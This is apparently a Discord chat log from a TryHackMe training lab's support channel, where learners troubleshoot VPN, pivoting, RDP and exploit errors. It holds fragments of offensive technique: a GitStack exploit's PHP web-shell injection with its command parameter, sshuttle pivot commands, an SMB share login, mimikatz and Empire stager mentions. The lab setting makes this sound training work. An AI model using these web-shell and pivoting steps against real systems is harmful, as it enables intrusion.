merry robin Apr 13, 2021, 7:55 PM

#

404 isn't a network error

#

You're accessing it just fine -- it's a webserver error

marble matrix Apr 13, 2021, 7:55 PM

#

well...

#

thats true

merry robin Apr 13, 2021, 7:55 PM

#

Specifically, you trying to access something that doesn't exist. Pretty sure that's also stated as the expected outcome in the room

marble matrix Apr 13, 2021, 7:56 PM

#

OHHHHHHHHHHHHHH

#

hahahahaa

#

mybad

#

my bad

merry robin Apr 13, 2021, 7:56 PM

#

All good 🙂

marble matrix Apr 13, 2021, 7:56 PM

#

Gezz dumbass me

#

xD

#

thanks anyways

simple spire Apr 13, 2021, 8:40 PM

#

can I have private wreath network? I can pay

merry robin Apr 13, 2021, 8:40 PM

#

That would be an admin question -- drop an email to support@tryhackme.com 🙂

cyan vine Apr 13, 2021, 8:40 PM

#

!!

merry robin Apr 13, 2021, 8:41 PM

#

I'm assuming you'll pass it to Skidy/Ashu Jabba 🤷‍♂️

cyan vine Apr 13, 2021, 8:41 PM

#

They're super busy, I'll see if I can get an answer and get it pinned here

#

Private Wreath Networks
Hey!
We do create private Wreath networks.
Please send all private Wreath network enquires to ben@tryhackme.com :)

cyan vine Apr 13, 2021, 8:47 PM

#

cyan vine **Private Wreath Networks** Hey! We do create private Wreath networks. Please s...

#

@simple spire ^

pallid vapor Apr 13, 2021, 8:52 PM

#

woah really

#

interesting

strange bison Apr 13, 2021, 9:02 PM

#

Oooh, cool

pallid vapor Apr 13, 2021, 9:06 PM

#

blobheart

split linden Apr 14, 2021, 1:18 AM

#

I am having difficulty in a task, when I try to run the exploit it returns me the following error:

#

./43777.py
[+] Get user list
Traceback (most recent call last):
File "./43777.py", line 46, in <module>
r = requests.post("http://{}/rest/user/".format(ip), data={'username':username,'password':password})
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/api.py", line 119, in post
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/api.py", line 61, in request
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 530, in request
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 665, in send
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 245, in resolve_redirects
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 643, in send
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/adapters.py", line 516, in send
requests.exceptions.ConnectionError: HTTPSConnectionPool(host='thomaswreath.thmrest', port=443): Max retries exceeded with url: /user/ (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f8d71bd7b90>: Failed to establish a new connection: [Errno -2] Name or service not known',))

strange bison Apr 14, 2021, 1:18 AM

#

thomaswreath.thmrest there's the issue

split linden Apr 14, 2021, 1:20 AM

#

strange bison `thomaswreath.thmrest` there's the issue

but on my "hosts" it's OK, thomaswreath.thm

strange bison Apr 14, 2021, 1:24 AM

#

Yes but that URL there looks wrong. Did you edit the exploit or are you supplying the URL as an argument?

#

Also, it says IP so did you try with the ip?

split linden Apr 14, 2021, 1:28 AM

#

strange bison Yes but that URL there looks wrong. Did you edit the exploit or are you supplyin...

Yes, I edited the exploit, put the IP I'm going to try through DNS

merry robin Apr 14, 2021, 1:30 AM

#

There is no DNS

split linden Apr 14, 2021, 1:36 AM

#

I downloaded the exploit again and edited it and it worked, some dirt had been left in the exploit, but now it gave a different error ...

#

"
Notice: Undefined index: a in C:\GitStack\gitphp\exploit-tiagobob.php on line 1

Warning: system(): Cannot execute a blank command in C:\GitStack\gitphp\exploit-tiagobob.php on line 1
"

#

webserver shows this error

blazing rock Apr 14, 2021, 1:50 AM

#

Best name ever: TiagoBob

split linden Apr 14, 2021, 1:51 AM

#

blazing rock Best name ever: TiagoBob

😆

#

I identified that the flaw is in this part of the exploit

'p && echo "<? php system ($ _ POST [' a \ ']);?>">

pallid vapor Apr 14, 2021, 2:22 AM

#

you gotta supply a parameter a

#

gitstack-username.php&a=ls

strange mist Apr 14, 2021, 11:41 AM

#

anyone else having issue with connecting to the smbserver?

net use \\<attacking-ip>\share /USER:user s3cretP@ssword
System error 53 has occurred.

The network path was not found.

strange mist Apr 14, 2021, 12:04 PM

#

Ok. The problem was my firewall.

dry pendant Apr 14, 2021, 1:46 PM

#

Wreath does not count as an entryway to the 'advanced' discord channel, correct?

merry robin Apr 14, 2021, 2:46 PM

#

Not as of yet certainly. Haven't really considered it

astral pendant Apr 14, 2021, 3:22 PM

#

In the wreath room, i am getting pings for the first system(.200) but for the other 2 (.150, .100) I am not getting any pings. Yesterday I was able to get into 2nd system. I even tried to run the exploit 43777.py and it's giving "connection timed out". I was even able to get a shell from .200, but no response from .150 and .100. What should I do? Should I vote to reset the system?

#

#

Anyone? Any suggestions ?

merry robin Apr 14, 2021, 3:32 PM

#

You probably wouldn't be able to ping them anyway, given they're Windows boxes -- although that definitely doesn't look to be connecting

#

To confirm, you do have sshuttle running, yes?

velvet peak Apr 14, 2021, 7:11 PM

#

Anybody else having connectivity issues?

#

I'm not getting any ping response from the server

simple osprey Apr 14, 2021, 8:29 PM

#

merry robin To confirm, you do have sshuttle running, yes?

I don't think you need to be connected with sshuttle, since that is the first exploit to be run @astral pendant

#

That exploit is for the .200 machine if I'm not mistaken

simple osprey Apr 14, 2021, 8:30 PM

#

velvet peak I'm not getting any ping response from the server

Which server?

#

Sometimes the network dies because there is no activity for a while

#

So try refreshing the page and see if the network is running

strange bison Apr 14, 2021, 8:32 PM

#

simple osprey Sometimes the network dies because there is no activity for a while

Networks aren't based on activity, you need to actually extend them manually

simple osprey Apr 14, 2021, 8:33 PM

#

Oh ok

#

I though activity also had a role in the network uptime

#

cuz of this

#

But what if we are in the same network, and you have a hour and a half

#

Will I also have a hour and a half?

strange bison Apr 14, 2021, 8:38 PM

#

simple osprey I though activity also had a role in the network uptime

Nope.

strange bison Apr 14, 2021, 8:38 PM

#

simple osprey Will I also have a hour and a half?

Yes.

simple osprey Apr 14, 2021, 8:39 PM

#

Oh ok, nice!

velvet peak Apr 14, 2021, 8:42 PM

#

simple osprey Which server?

My VPN crapped out so I just restarted it and it's all good

simple osprey Apr 14, 2021, 8:42 PM

#

Nicee

tardy bloom Apr 15, 2021, 7:11 AM

#

sry a little late but you can use powershell to look at found threats using

Get-MpThreatDetection

surreal sail Apr 15, 2021, 2:16 PM

#

I'm having a problem with the ||SSH Key|| on machine-1

#

It keeps saying "invalid format"

opaque helm Apr 15, 2021, 2:21 PM

#

surreal sail I'm having a problem with the ||SSH Key|| on machine-1

I had the same problem try adding a blank line in the end of your private key. That solved it for me

surreal sail Apr 15, 2021, 2:22 PM

#

...

#

Fixed it, thanks!

fresh fossil Apr 15, 2021, 4:34 PM

#

can some of you help me restart the wreath network as it seems that the main public facing server is down. I just need 3 more votes to restart the network. I would really appreciate your help. Thanks in advance

fresh fossil Apr 15, 2021, 4:35 PM

#

velvet peak Anybody else having connectivity issues?

i am getting the same issue now

velvet peak Apr 15, 2021, 4:56 PM

#

Looks like reboot is taking place! @fresh fossil

#

What fixed my issue is that for whatever reason my openVPN closed out so once I reconnected to wreath it was all good

timid totem Apr 15, 2021, 5:18 PM

#

In the wreath room i am stuck at TASK - 6 , when i am pasting root user's password hash i am getting an invalid response. can someone help me please?

#

I have checked the walkthrough video , it is working for him but not for me

velvet peak Apr 15, 2021, 5:19 PM

#

Did you copy just the hash part?

timid totem Apr 15, 2021, 5:20 PM

#

velvet peak Did you copy just the hash part?

yes

velvet peak Apr 15, 2021, 5:21 PM

#

Does it start with $ and ends with 1 ?

timid totem Apr 15, 2021, 5:21 PM

#

timid totem Apr 15, 2021, 5:22 PM

#

velvet peak Does it start with $ and ends with 1 ?

i have sent a screenshot of it.

velvet peak Apr 15, 2021, 5:22 PM

#

I don't think that's the right hash

strange bison Apr 15, 2021, 5:23 PM

#

The / is actually a part of it FYI

#

But someone might have changed it

velvet peak Apr 15, 2021, 5:23 PM

#

Yeah my hash is different

strange bison Apr 15, 2021, 5:24 PM

#

Someone's changed it.

timid totem Apr 15, 2021, 5:25 PM

#

strange bison The / is actually a part of it FYI

i have included / in the response , but it still says invalid response

strange bison Apr 15, 2021, 5:25 PM

#

As I said, someone's changed it

timid totem Apr 15, 2021, 5:25 PM

#

strange bison As I said, someone's changed it

so what should i do? to fix it?

merry robin Apr 15, 2021, 5:25 PM

#

timid totem i have included / in the response , but it still says invalid response

If you're close to a reset, do that. Otherwise disconnect and DM me the VPN config

velvet peak Apr 15, 2021, 5:26 PM

#

We just did a reset right before the website went down

merry robin Apr 15, 2021, 5:26 PM

#

You know there are 80 different networks, right?

#

Unless you both have the same third octet, you won't have reset the same one

velvet peak Apr 15, 2021, 5:28 PM

#

merry robin You know there are 80 different networks, right?

Oh ok. I didn't know thanks

timid totem Apr 15, 2021, 5:30 PM

#

merry robin If you're close to a reset, do that. Otherwise disconnect and DM me the VPN conf...

I have disconnected , and sent you my vpn config file.

velvet peak Apr 15, 2021, 5:32 PM

#

This is why I love this community. Every day I learn something new

fair breach Apr 15, 2021, 5:46 PM

#

Definitely ^^

river cedar Apr 15, 2021, 6:17 PM

#

do i have to || use empire to port scan 10.200.xxx.<the other one>|| ?

#

nvm i figured it out

echo frigate Apr 16, 2021, 12:19 PM

#

I'm not able to scan the network

#

half the day seems the network is down 🙁

astral pendant Apr 16, 2021, 2:51 PM

#

echo frigate I'm not able to scan the network

Same for me

#

2 more votes needed to reset

fickle frost Apr 16, 2021, 2:52 PM

#

astral pendant 2 more votes needed to reset

has it ever worked?

#

make sure you have downloaded the separate openvpn config file for wreath

astral pendant Apr 16, 2021, 2:54 PM

#

Yesterday also it got reset but i didn't felt like it changed. Still had issue with second and third systems(.150 and .100)

fickle frost Apr 16, 2021, 2:55 PM

#

astral pendant Yesterday also it got reset but i didn't felt like it changed. Still had issue w...

did u download the separate ovpn config file for wreath?

astral pendant Apr 16, 2021, 2:55 PM

#

fickle frost make sure you have downloaded the separate openvpn config file for wreath

Ya I har already downloaded the VPN for the wreath network and run it. Only after that i had checked the network.

#

The one with our username-wreath.ovpn

#

Right?

fickle frost Apr 16, 2021, 2:56 PM

#

yes

astral pendant Apr 16, 2021, 2:56 PM

#

Its running in my system..

echo frigate Apr 16, 2021, 2:56 PM

#

fickle frost did u download the separate ovpn config file for wreath?

I've regenerated the vpn for 4 times

astral pendant Apr 16, 2021, 2:57 PM

#

Should i try regenerating it, will the issue be fixed??

strange bison Apr 16, 2021, 2:57 PM

#

What network are you on? What's the third octet? @echo frigate

strange bison Apr 16, 2021, 2:57 PM

#

astral pendant Should i try regenerating it, will the issue be fixed??

What's the actual issue you're having at the moment?

astral pendant Apr 16, 2021, 2:57 PM

#

strange bison What's the actual issue you're having at the moment?

.111

#

Sorry

astral pendant Apr 16, 2021, 2:58 PM

#

strange bison What network are you on? What's the third octet? <@!648801865588539392>

.111

astral pendant Apr 16, 2021, 2:58 PM

#

strange bison What's the actual issue you're having at the moment?

Just now when I tried nmaping the whole ip ranges. It's showing only .255 is up

strange bison Apr 16, 2021, 2:59 PM

#

You can only talk to the public web host machine, if it's working correctly

astral pendant Apr 16, 2021, 3:01 PM

#

Yesterday when I tried to exploit the second system using 43777.py, its giving me error saying connection timed out even though the machine was running.

strange bison Apr 16, 2021, 3:01 PM

#

That might be your pivot.

astral pendant Apr 16, 2021, 3:03 PM

#

I don't know bro, day before yesterday I tried running that same pivot and it got executed well and I was able to get into the 2nd system and done task till 24. But on the next day onwards this is what's happening.

strange bison Apr 16, 2021, 3:04 PM

#

Not your bro, but if you can talk to the first machine it's not likely to be a VPN issue

astral pendant Apr 16, 2021, 3:06 PM

#

astral pendant Apr 16, 2021, 3:06 PM

#

strange bison Not your bro, but if you can talk to the first machine it's not likely to be a V...

I dont know bro, but today i not even able to talk with 1st machine..

strange bison Apr 16, 2021, 3:06 PM

#

Still not your bro

#

If you can't talk to the first machine then you definitely can't pivot to the second

fickle frost Apr 16, 2021, 3:07 PM

#

can that be a code error

strange bison Apr 16, 2021, 3:07 PM

#

No

fickle frost Apr 16, 2021, 3:07 PM

#

or try python3 34324234.py

astral pendant Apr 16, 2021, 3:08 PM

#

That screenshot which I shared was yesterday's result..

strange bison Apr 16, 2021, 3:08 PM

#

If they cannot communicate with the first machine, they definitely can't use it to pivot to the second

astral pendant Apr 16, 2021, 3:12 PM

#

This is today's case..

#

#

#

Any suggestion guys??

#

If I'm wrong also, please correct me..

echo frigate Apr 16, 2021, 3:49 PM

#

strange bison What network are you on? What's the third octet? <@!648801865588539392>

89

surreal sail Apr 16, 2021, 10:00 PM

#

I am looking for help some reason my netcat listener wont connect to wreath machine

strange bison Apr 16, 2021, 10:05 PM

#

!docs verify

thin crescentBOT Apr 16, 2021, 10:05 PM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

strange bison Apr 16, 2021, 10:06 PM

#

Follow these steps, then you can post images

river talon Apr 17, 2021, 7:54 AM

#

lost possibility to connect via ssh key. before it worked perfectly; even copied again id_rsa from .200 but the issue persists: root@10.200.91.200: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

surreal sail Apr 17, 2021, 8:05 AM

#

Try with “sudo” @river talon

river talon Apr 17, 2021, 8:22 AM

#

surreal sail Try with “sudo” <@759684017439113216>

sudo doesn't help / someone has to do something to authorized keys probablly

surreal sail Apr 17, 2021, 8:26 AM

#

Yup... then you have the wrong keys bud

strange bison Apr 17, 2021, 11:07 AM

#

surreal sail Yup... then you have the wrong keys bud

Someone might have changed it. It's not necessarily a problem on their end, in fact it's unlikely to be.

merry robin Apr 17, 2021, 11:20 AM

#

It's set to not allow changes to be made, so if someone has changed it then they have actively circumvented those (assuming you're using the same key as before). Go for a reset (and let me know if it hasn't happened in a couple of hours @river talon). If I find out who changed it I will happily ban 'em.

#

Oh, that reminds me, I need to make the keys themselves immutable too.

surreal sail Apr 17, 2021, 3:00 PM

#

hey guys I cannot ssh into .200 is there someone who's facing the same issue ? .. 😦

#

#

#

until yesterday I was able to

#

but today it's suddenly unreachable

#

can anyone help ?

#

Is the .200 down ?

cyan vine Apr 17, 2021, 3:09 PM

#

Are you connected to the VPN?

surreal sail Apr 17, 2021, 3:09 PM

#

yup

cyan vine Apr 17, 2021, 3:10 PM

#

Have you voted to reset the network?

surreal sail Apr 17, 2021, 3:10 PM

#

Actually few minutes before I had the winrm shell into the internal network but now it's not connecting and even not able to ssh into .200

surreal sail Apr 17, 2021, 3:10 PM

#

cyan vine Have you voted to reset the network?

yes

lyric bane Apr 18, 2021, 2:17 AM

#

Is there an official announcement time or the report contest results?

merry robin Apr 18, 2021, 2:28 AM

#

Yep. Yesterday (17th) the competition ended. I've been going through the reports -- the results should be announced today 🙂

gilded grove Apr 18, 2021, 1:05 PM

#

Hey, just started wreath and tried scanning the first machine. It is up but it says all ports are filtered because of no responses

#

nevermind im an idiot, didnt see theres a separate vpn file for wreath x)

lethal verge Apr 18, 2021, 2:37 PM

#

Is the network ok? I cant ssh to any host

strange bison Apr 18, 2021, 2:39 PM

#

There's like 80+ instances of wreath, please be specific

lethal verge Apr 18, 2021, 2:44 PM

#

the first server is 10.200.99.200

dark sky Apr 18, 2021, 2:59 PM

#

hay guys any help for solve this error
/tmp/socat-als3idy: error while loading shared libraries: libwrap.so.0: cannot open shared object file: No such file or directory

merry robin Apr 18, 2021, 3:16 PM

#

dark sky hay guys any help for solve this error /tmp/socat-als3idy: error while loading...

That's not a static copy of socat

dark sky Apr 18, 2021, 3:48 PM

#

dark sky hay guys any help for solve this error /tmp/socat-als3idy: error while loading...

i solve it

gilded grove Apr 18, 2021, 4:34 PM

#

Im really loving the room so far but how cancer is the machine crashing every 30 min -.-

#

Is there any way someone can reset the lab for us? 5/8 people voted already and the rest is probably afk so we can't access the network right now

strange bison Apr 18, 2021, 4:47 PM

#

What network? There's 80+ instances of wreath running at any time

vernal spear Apr 18, 2021, 4:58 PM

#

the one starting with 10.200.101.x.
Edit: thanks!

stoic flicker Apr 18, 2021, 8:57 PM

#

boo my ping scanner isn't working...ICMP is hard 😦

stoic flicker Apr 18, 2021, 9:47 PM

#

there we go.

lyric bane Apr 19, 2021, 1:00 AM

#

Who won the $?

merry robin Apr 19, 2021, 1:01 AM

#

You'll find out soon 👀

#

The finalists are in Skidy's hands now 🙂

open nebula Apr 19, 2021, 5:35 AM

#

I am currently solving task 13 (pivoting socat).I have one question do we have to perform port forwarding --quiet and port forwarding --easy as described in task on the compromised server??

timid totem Apr 19, 2021, 9:32 AM

#

i am currently at task 20{gitserver exploitation} i have changed the ip addr in the exploit and done dos2unit also but the payload is not working

#

can someone please help?

cyan vine Apr 19, 2021, 9:40 AM

#

There’s a few reasons that I can think of on why this is occurring, I haven’t completed Wreath although.

-> There’s something wrong with your VPN.

-> There’s something wrong with the network you’re on.

-> It is unable to connect.

Some common fixes:

-> Run the VPNscript.

-> Vote to reset the network.

-> Make sure the information in the script has been inserted correctly.

-> Wait for someone else who has completed the network to help :)

timid totem Apr 19, 2021, 10:04 AM

#

ok :}

gilded grove Apr 19, 2021, 10:33 AM

#

Another issue: whenever I run the stager payload from empire on prod-serv it crashes the network. I followed the steps from task 27

#

So the 10.200.101.0/24 network needs another reset now again x)

steady sluice Apr 19, 2021, 10:52 AM

#

hi, I have an issue I can use some help 🙂 when I connect to the network (10.200.101.200) I trying to ping the attacking pc but it does not work, the target does not recognize the attacking pc after I connect throw ssh... I want to learn why. not find another way to overcome this, thanks!

merry robin Apr 19, 2021, 10:54 AM

#

What IP are you pinging @steady sluice?

steady sluice Apr 19, 2021, 10:56 AM

#

the private ip

merry robin Apr 19, 2021, 11:02 AM

#

Which private ip...

steady sluice Apr 19, 2021, 11:03 AM

#

10.10.97.207

steady sluice Apr 19, 2021, 11:28 AM

#

@merry robin sorry I forgat to tag

merry robin Apr 19, 2021, 11:29 AM

#

That's not your VPN IP @steady sluice

#

It should be 10.50.x.x

steady sluice Apr 19, 2021, 11:29 AM

#

I dont use VPN

merry robin Apr 19, 2021, 11:29 AM

#

Even the AttackBox needs a VPN to connect to networks

#

It just gets started automatically

steady sluice Apr 19, 2021, 11:30 AM

#

why is this matter?

#

It should be easier without VPN, no?

merry robin Apr 19, 2021, 11:31 AM

#

Because only a 10.50 IP can access the network. That's what the AttackBox used to connect to the machine in the first place, and that's what you need to use when connecting back.

#

The AttackBox starts your Wreath VPN automatically when it boots, but it's still just a VPN

steady sluice Apr 19, 2021, 11:33 AM

#

so what can I do?

#

if the VPN start automatically I cant control it @merry robin , can I check if the VPN is on?

merry robin Apr 19, 2021, 11:34 AM

#

You can check your VPN IP with ip a s tun0 and use that

steady sluice Apr 19, 2021, 11:36 AM

#

that's works, thanks!

stoic flicker Apr 19, 2021, 11:54 AM

#

hmm, I can't seem to get sshuttle working properly against the pivot server

#

sshuttle -r "root@10.200.102.200" --ssh-cmd "ssh -i ../10.200.x.200/id_rsa" 
10.200.102.0/24
[local sudo] Password:
c : Connected to server.
# Warning: iptables-legacy tables present, use iptables-legacy to see them
iptables v1.8.7 (nf_tables):  CHAIN_ADD failed (No such file or directory): chain OUTPUT
# Warning: iptables-legacy tables present, use iptables-legacy to see them
iptables: Bad rule (does a matching rule exist in that chain?).
fw: fw: error: fw: ['iptables', '-t', 'nat', '-D', 'OUTPUT', '-j', 'sshuttle-12300'] returned 1
iptables: Bad rule (does a matching rule exist in that chain?).
fw: fw: error: fw: ['iptables', '-t', 'nat', '-D', 'PREROUTING', '-j', 'sshuttle-12300'] returned 1
fw: fatal: fw: ['iptables', '-t', 'nat', '-I', 'OUTPUT', '1', '-j', 'sshuttle-12300'] returned 4
c : fatal: cleanup: ['/usr/bin/sudo', '-p', '[local sudo] Password: ', '/usr/bin/env', 'PYTHONPATH=/usr/lib/python3/dist-packages', '/usr/bin/python3', '/usr/bin/sshuttle', '--method', 'auto', '--firewall'] returned 99

#

chisel works though

merry robin Apr 19, 2021, 12:01 PM

#

Try running that with sudo?

stoic flicker Apr 19, 2021, 12:04 PM

#

same

#

wait

#

yeah same

merry robin Apr 19, 2021, 12:04 PM

#

What OS?

stoic flicker Apr 19, 2021, 12:05 PM

#

Kali on WSL2

#

I need to look into how to set an exception for proxychains to avoid trying to proxy my display server for RDP

merry robin Apr 19, 2021, 12:06 PM

#

Has WSL2 fixed the networking problems of WSL, or is it still basically just your host with an extra layer?

stoic flicker Apr 19, 2021, 12:06 PM

#

it's basically a VM

merry robin Apr 19, 2021, 12:06 PM

#

Because, uh, iptables sure as heck wouldn't do anything on WSL

stoic flicker Apr 19, 2021, 12:06 PM

#

ah it's trying to open that locally?

merry robin Apr 19, 2021, 12:07 PM

#

Yep, that's how sshuttle works

#

It basically sets up an SSH local proxy then changes your firewall to add forward rules through the proxy

stoic flicker Apr 19, 2021, 12:08 PM

#

ok, there are no local rules defined, but it might cause issues with the host net?

#

there's some voodoo between them anyways

merry robin Apr 19, 2021, 12:09 PM

#

Yeah, I would imagine there isn't enough separation on WSL2 for the guest to act independently

stoic flicker Apr 19, 2021, 12:11 PM

#

ok there we go

#

localnet 172.16.0.0/255.240.0.0
localnet 192.168.0.0/255.255.0.0

This helps in the proxychains conf:)

#

ok mimikatz priv esc doesn't seem to be working...

#

mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

fickle frost Apr 19, 2021, 12:23 PM

#

stoic flicker ``` mimikatz # privilege::debug ERROR kuhl_m_privilege_simple ; RtlAdjustPrivile...

looks like an error creepypog

stoic flicker Apr 19, 2021, 12:24 PM

#

no really?

#

wait I'm an idiot

fickle frost Apr 19, 2021, 12:29 PM

#

stoic flicker wait I'm an idiot

thats an error maybe

stoic flicker Apr 19, 2021, 12:30 PM

#

Guess who forgot to run as admin

fickle frost Apr 19, 2021, 12:31 PM

#

stoic flicker Guess who forgot to run as admin

system error in you

#

Hence you are an AI cursed

stoic flicker Apr 19, 2021, 12:37 PM

#

beep boop

#

I HAVE BEEN DISCOVERED. INITIATE PROTOCOL ID-10-T-ALPHA. EXTERMINATE!

timid totem Apr 19, 2021, 12:53 PM

#

timid totem i am currently at task 20{gitserver exploitation} i have changed the ip addr in ...

@merry robin any solutions?

merry robin Apr 19, 2021, 12:57 PM

#

Doesn't look like it's able to connect to 150. Make sure sshuttle is active, etc

timid totem Apr 19, 2021, 1:14 PM

#

Ok

dark venture Apr 19, 2021, 2:07 PM

#

hey Muiri! My room writeup got accepted!

#

But two of my writeups have been uploaded, one of which had an issue and I had reported it to you! So can you remove the writeup whose link does not work (ig the first one in the list, but check it )! Thank you

merry robin Apr 19, 2021, 3:11 PM

#

I would have accepted the second one on the list

#

Oh, no, I accepted both of them, oops

#

I'll delete the first one

dark venture Apr 19, 2021, 3:12 PM

#

Thank you!

tacit frigate Apr 19, 2021, 4:10 PM

#

anyone else had issues with rdp to .150 ?

#

tried xfreerdp and remmina

#

both prompt for password but fails....

#

creds fine as I can winrm

thorny arch Apr 19, 2021, 5:16 PM

#

am I the only one having the network down since a few hours ? it worked fine until the state had to stop because of extend limit, then when it started again nothing worked, can't even nmap it, it says everything's filtered

#

we're at 4/8 reset

thorny arch Apr 19, 2021, 5:38 PM

#

of course, just after I send that, the network stops so I restart it again and now it works

stoic flicker Apr 19, 2021, 9:06 PM

#

tacit frigate creds fine as I can winrm

worked fine for me once I got proxychains sorted out

stoic flicker Apr 19, 2021, 9:39 PM

#

one thing I noticed for the Empire section: The first http listener we created was called "Webserver", but on the hop section we're asked to redirect to "Gitserver"

#

#

might cause confusion

#

oh my... someone was a bit literally minded

#

that looks like a big ncat though

strange bison Apr 19, 2021, 10:01 PM

#

kekw

strange bison Apr 19, 2021, 10:01 PM

#

stoic flicker oh my... someone was a bit literally minded

Swap to -lah!

#

Human readable sizes or bust

pallid vapor Apr 19, 2021, 10:03 PM

#

exa or bust

stoic flicker Apr 19, 2021, 10:06 PM

#

meh

#

extra letter hard 😄

#

happy now?

strange bison Apr 19, 2021, 10:14 PM

#

~~generally, or specifically here?~~

#

Also that's a large netcat binary my god

stoic flicker Apr 19, 2021, 10:18 PM

#

it's apparently the static binary

stoic flicker Apr 19, 2021, 10:19 PM

#

strange bison ~~generally, or specifically here?~~

~~specifically here, but if you want to share your general state of happiness, feel free~~

stoic flicker Apr 19, 2021, 11:12 PM

#

bah chisel is being mean on powershell

stoic flicker Apr 20, 2021, 12:15 AM

#

so git is pretty magical...

#

if I do mv C:\\...\\Website.git Website.git then I can do a git clone Website.git directly

#

#

avoids all that muck with gittools

#

and manually re-ordering the commit history...

#

just for info

pallid vapor Apr 20, 2021, 1:22 AM

#

woah

merry robin Apr 20, 2021, 1:36 AM

#

Aye, but then you don't learn about Git Tools 😛

dry pendant Apr 20, 2021, 2:21 AM

#

stoic flicker if I do `mv C:\\...\\Website.git Website.git` then I can do a `git clone Website...

Couldn't you jusst clone it from where it currently is?

open nebula Apr 20, 2021, 3:56 AM

#

Why is it only showing only one machine?There should be 3 machines right??

#

Also I want to ask is it possible to scan this machine by uploading a static copy of nmap on production server?

digital tendon Apr 20, 2021, 4:00 AM

#

I have a feeling that second question might be answered by reading further

#

and the first question, prod-server may not have access to the other host

open nebula Apr 20, 2021, 4:00 AM

#

digital tendon I have a feeling that second question might be answered by reading further

in upcoming tasks?

open nebula Apr 20, 2021, 4:01 AM

#

digital tendon and the first question, prod-server may not have access to the other host

okkie

digital tendon Apr 20, 2021, 4:01 AM

#

yes

safe meteor Apr 20, 2021, 5:14 AM

#

Is wreath broken? Got kicked out of all my shell sessions, nvm the machines stopped ;p

safe meteor Apr 20, 2021, 5:47 AM

#

Anyone an idea why I can connect with evil-winrm but cant connect with xfreerdp ?

#

[09:45:00:273] [6760:6761] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 0: Success
[09:45:00:273] [6760:6761] [ERROR][com.freerdp.core] - transport_read_layer:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[09:45:00:273] [6760:6761] [ERROR][com.freerdp.core] - freerdp_post_connect failed

tacit frigate Apr 20, 2021, 6:04 AM

#

stoic flicker worked fine for me once I got proxychains sorted out

Even with sshuttle in place and able to winrm?

tacit frigate Apr 20, 2021, 6:16 AM

#

safe meteor Anyone an idea why I can connect with evil-winrm but cant connect with xfreerdp ...

I have same problem...

stoic flicker Apr 20, 2021, 9:34 AM

#

dry pendant Couldn't you jusst clone it from where it currently is?

Not really

stoic flicker Apr 20, 2021, 9:35 AM

#

tacit frigate Even with sshuttle in place and able to winrm?

Sshuttle didn't work on my setup

tacit frigate Apr 20, 2021, 9:35 AM

#

Weird I'm able to evil winrm fine but no rdp...

#

Same as @safe meteor

stoic flicker Apr 20, 2021, 9:36 AM

#

I had one issue where it was trying to proxy my display server

stoic flicker Apr 20, 2021, 11:16 AM

#

what did you try?

willow thistle Apr 20, 2021, 11:55 AM

#

Hi all

tawny fulcrum Apr 20, 2021, 11:55 AM

#

im trying to get a reverse shell by modifying the gitserver exploit, i have put a php simple backdoor in the command section

surreal sail Apr 20, 2021, 11:55 AM

#

oops

tawny fulcrum Apr 20, 2021, 11:55 AM

#

this is the error i get back

willow thistle Apr 20, 2021, 11:58 AM

#

On task 19 when trying to run the 43777.py i get the following error.
root@surreal sail:~/wreathnetwork/tools# ./43777.py
Traceback (most recent call last):
File "./43777.py", line 17, in <module>
import requests
ImportError: No module named requests

I have tried to pip uninstall / reinstsll however i get the following error doing that

root@surreal sail:~/wreathnetwork/tools# pip uninstall requests
Found existing installation: requests 2.25.1
Not uninstalling requests at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'requests'. No files were found to uninstall.

#

I have also done the dos2unix

merry robin Apr 20, 2021, 12:00 PM

#

tawny fulcrum im trying to get a reverse shell by modifying the gitserver exploit, i have put ...

That's a python exploit, not a PHP exploit

#

It's not uploading the entire file to the server either -- just the bit at the bottom

#

And you're essentially doing what it already does, just by GET rather than POST

merry robin Apr 20, 2021, 12:01 PM

#

willow thistle On task 19 when trying to run the 43777.py i get the following error. root<@4562...

That's a Python2 thing. Easy solution is to use the Python3 port I made. It's pinned in here.

#

Failing that, try installing requests for python2 specifically

tawny fulcrum Apr 20, 2021, 12:04 PM

#

merry robin It's not uploading the entire file to the server either -- just the bit at the b...

what part of the bit at the bottom?

merry robin Apr 20, 2021, 12:05 PM

#

I would suggest reading the code, but the last few lines where it's got the hardcoded PHP exploit code

#

You're already told to modify it

tawny fulcrum Apr 20, 2021, 12:05 PM

#

ok

#

thanks for the help

stoic crag Apr 20, 2021, 12:52 PM

#

anyone can help me to SSH Tunnelling / Port Forwarding

#

channel 0: chan_write_failed for ostate 3
connect_to 10.200.83.200 port 443: failed.
channel 1: chan_write_failed for ostate 3
connect_to 10.200.83.200 port 443: failed.
channel 4: chan_write_failed for ostate 3

#

i just followed the step and get this error

open nebula Apr 20, 2021, 3:24 PM

#

I am at task 18( git server pivoting) it is adviced to use use sshuttle.If I use other tools would it cause problems?

tacit frigate Apr 20, 2021, 3:29 PM

#

ok I'm getting an XFreeRDp window if I use /sec:tls but getting this error now...

#

#

my user is in the correct groups

#

merry robin Apr 20, 2021, 3:30 PM

#

That's Remote Management Users

#

You need Remote Desktop Users for RDP

#

Or just Administrators

tacit frigate Apr 20, 2021, 3:31 PM

#

i've definately added the users to the right groups as per guide:

#

ill try adding it to remote desktop users

tranquil river Apr 20, 2021, 3:33 PM

#

@merry robin when are the competition winners being announced and when can we read the reports? 🙂

merry robin Apr 20, 2021, 3:36 PM

#

I accepted the reports yesterday @tranquil river, so you can read them whenever. The winners are, well:

#

